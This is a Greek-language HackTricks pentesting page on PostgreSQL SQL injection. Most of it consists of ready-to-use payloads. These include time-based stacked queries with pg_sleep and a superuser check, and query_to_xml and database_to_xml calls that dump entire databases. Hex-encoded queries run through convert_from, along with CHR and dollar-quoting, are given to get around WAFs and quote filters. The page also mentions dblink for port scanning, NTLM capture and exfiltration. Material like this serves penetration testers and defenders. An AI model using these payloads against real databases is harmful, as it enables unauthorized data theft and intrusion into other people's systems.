PostgreSQL injection

Support HackTricks

If you are interested in hacking career and hack the unhackable - we are hiring! (απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά).


Αυτή η σελίδα στοχεύει να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

Το PostgreSQL module dblink προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία COPY FROM, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η σύλληψη απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να εκτελέσετε αυτές τις επιθέσεις.

Μπορείτε να διαβάσετε αυτό το παράδειγμα για να δείτε ένα παράδειγμα CTF του πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη της συνάρτησης dblink_connect.

PostgreSQL Attacks: Read/write, RCE, privesc

Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο:

5432,5433 - Pentesting Postgresql

WAF bypass

PostgreSQL String functions

Η χειραγώγηση συμβολοσειρών θα μπορούσε να σας βοηθήσει να παρακάμψετε WAFs ή άλλους περιορισμούς. Σε αυτή τη σελίδα μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβολοσειρών.

Stacked Queries

Θυμηθείτε ότι το postgresql υποστηρίζει στοίβες ερωτημάτων, αλλά πολλές εφαρμογές θα ρίξουν ένα σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένονται μόνο 1. Αλλά, μπορείτε ακόμα να εκμεταλλευτείτε τις στοίβες ερωτημάτων μέσω Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

Αυτή η συνάρτηση θα επιστρέψει όλα τα δεδομένα σε μορφή XML σε ένα μόνο αρχείο. Είναι ιδανική αν θέλετε να εξάγετε πολλά δεδομένα σε μία μόνο γραμμή:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Αυτή η συνάρτηση θα εξάγει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 γραμμή (προσοχή αν η βάση δεδομένων είναι πολύ μεγάλη καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον δικό σας πελάτη):

SELECT database_to_xml(true,true,'');

Strings in Hex

Αν μπορείτε να εκτελέσετε queries περνώντας τα μέσα σε μια συμβολοσειρά (για παράδειγμα χρησιμοποιώντας τη λειτουργία query_to_xml). Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Απαγορευμένα αποσπάσματα

Εάν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να το παρακάμψετε με το CHR για βασικές ρήτρες (η σύνθεση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ή με $. Αυτές οι ερωτήσεις επιστρέφουν τα ίδια αποτελέσματα:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Αν ενδιαφέρεστε για καριέρα στον hacking και να χακάρετε το μη χακάρισμα - προσλαμβάνουμε! (απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά).

Υποστήριξη HackTricks

Last updated